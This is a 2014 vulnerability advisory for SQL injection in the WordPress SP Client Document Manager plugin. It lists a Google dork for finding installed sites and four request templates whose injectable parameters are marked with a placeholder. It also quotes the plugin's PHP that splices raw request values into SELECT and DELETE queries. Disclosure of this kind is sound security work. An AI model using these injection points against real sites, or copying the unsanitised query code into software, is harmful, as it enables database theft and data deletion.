WordPress SP Client Document Manager 2.4.1 SQL Injection

`Vulnerability title: Multiple SQL Injection in SP Client Document Manager plugin  
Plugin: SP Client Document Manager  
Vendor: http://smartypantsplugins.com  
Product: https://wordpress.org/plugins/sp-client-document-manager/  
Affected version: version 2.4.1 and previous version  
Fixed version: N/A  
Google dork: inurl:wp-content/plugins/sp-client-document-manager  
Reported by: Dang Quoc Thai - thai.q.dang (at) itas (dot) vn  
Credits to ITAS Team - www.itas.vn  
  
  
::DESCRITION::  
  
Multiple SQL injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URL and parameter has been confirmed to suffer from SQL injection:   
  
Link 1:  
  
POST /wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=email-vendor HTTP/1.1  
Host: target.org  
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  
Accept: text/html, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Referer: http://target.org/wordpress/?page_id=16  
Cookie: wordpress_cbbb3ecca6306be6e41d05424d417f7b=test1%7C1414550777%7CxKIQf1812x9lfyhuFgNQQhmDtojDdEnDTfLisVHwnJ6%7Cc493b6c21a4a1916e2bc6076600939af5276b6feb09d06ecc043c37bd92a0748; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_cbbb3ecca6306be6e41d05424d417f7b=test1%7C1414550777%7CxKIQf1812x9lfyhuFgNQQhmDtojDdEnDTfLisVHwnJ6%7C7995fe13b1bbe0761cb05258e4e13b20b27cc9cedf3bc337440672353309e8a3; bp-activity-oldestpage=1  
Connection: keep-alive  
Content-Length: 33  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
vendor_email[]=<SQL Injection>  
  
  
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php  
Vulnerable code: (Line: 1516 -> 1530)  
function email_vendor()  
{  
global $wpdb, $current_user;  
if (count($_POST['vendor_email']) == 0) {  
echo '<p style="color:red;font-weight:bold">' . __("Please select at least one file!", "sp-cdm") . '</p>';  
} else {  
$files = implode(",", $_POST['vendor_email']);  
echo "SELECT * FROM " . $wpdb->prefix . "sp_cu WHERE id IN (" . $files . ")"."\n";  
$r = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . "sp_cu WHERE id IN (" . $files . ")", ARRAY_A);  
  
  
  
Link 2: http://target.org/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=download-project&id=<SQL Injection>  
  
GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=download-project&id=<SQL Injection> HTTP/1.1  
Host: target.org  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c  
Connection: keep-alive  
  
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php  
Vulnerable code: (Line: 1462 -> 1479)  
  
function download_project()  
{  
global $wpdb, $current_user;  
$user_ID = $_GET['id'];  
$r = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . "sp_cu where pid = $user_ID order by date desc", ARRAY_A);  
$r_project = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . "sp_cu_project where id = $user_ID ", ARRAY_A);  
$return_file = "" . preg_replace('/[^\w\d_ -]/si', '', stripslashes($r_project[0]['name'])) . ".zip";  
$zip = new Zip();  
$dir = '' . SP_CDM_UPLOADS_DIR . '' . $r_project[0]['uid'] . '/';  
$path = '' . SP_CDM_UPLOADS_DIR_URL . '' . $r_project[0]['uid'] . '/';  
//@unlink($dir.$return_file);  
for ($i = 0; $i < count($r); $i++) {  
$zip->addFile(file_get_contents($dir . $r[$i]['file']), $r[$i]['file'], filectime($dir . $r[$i]['file']));  
}  
$zip->finalize(); // as we are not using getZipData or getZipFile, we need to call finalize ourselves.  
$zip->setZipFile($dir . $return_file);  
header("Location: " . $path . $return_file . "");  
}  
  
Link 3: http://target.org/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=download-archive&id=<SQL Injection>  
  
GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=download-archive&id=<SQL Injection> HTTP/1.1  
Host: target.org  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c  
Connection: keep-alive  
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php  
Vulnerable code: (Line: 1480 -> 1496)  
  
  
function download_archive()  
{  
global $wpdb, $current_user;  
$user_ID = $_GET['id'];  
$dir = '' . SP_CDM_UPLOADS_DIR . '' . $user_ID . '/';  
$path = '' . SP_CDM_UPLOADS_DIR_URL . '' . $user_ID . '/';  
$return_file = "Account.zip";  
$zip = new Zip();  
$r = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . "sp_cu where uid = $user_ID order by date desc", ARRAY_A);  
//@unlink($dir.$return_file);  
for ($i = 0; $i < count($r); $i++) {  
$zip->addFile(file_get_contents($dir . $r[$i]['file']), $r[$i]['file'], filectime($dir . $r[$i]['file']));  
}  
$zip->finalize(); // as we are not using getZipData or getZipFile, we need to call finalize ourselves.  
$zip->setZipFile($dir . $return_file);  
header("Location: " . $path . $return_file . "");  
}  
  
Link 4: http://target.org/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=remove-category&id=<SQL Injection>  
  
GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=remove-category&id=<SQL Injection> HTTP/1.1  
Host: target.org  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c  
Connection: keep-alive  
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php  
Vulnerable code: (Line: 1480 -> 1496)  
  
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php  
Vulnerable code: (Line: 368 -> 372)  
  
function remove_cat()  
{  
global $wpdb, $current_user;  
$wpdb->query("DELETE FROM " . $wpdb->prefix . "sp_cu_project WHERE id = " . $_REQUEST['id'] . " ");  
$wpdb->query("DELETE FROM " . $wpdb->prefix . "sp_cu WHERE pid = " . $_REQUEST['id'] . " ");  
}   
  
  
::DISCLOSURE::  
+ 10/30/2014: Notify to vendor - vendor does not response  
+ 11/08/2014: Notify to vendor - Vendor blocks IPs from Vietnam  
+ 11/05/2014: Notify to vendor - vendor does not response  
+ 11/20/2014: Public information  
  
::REFERENCE::  
https://www.youtube.com/watch?v=AR3xCcuEJHc  
  
  
::DISCLAIMER::  
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.  
`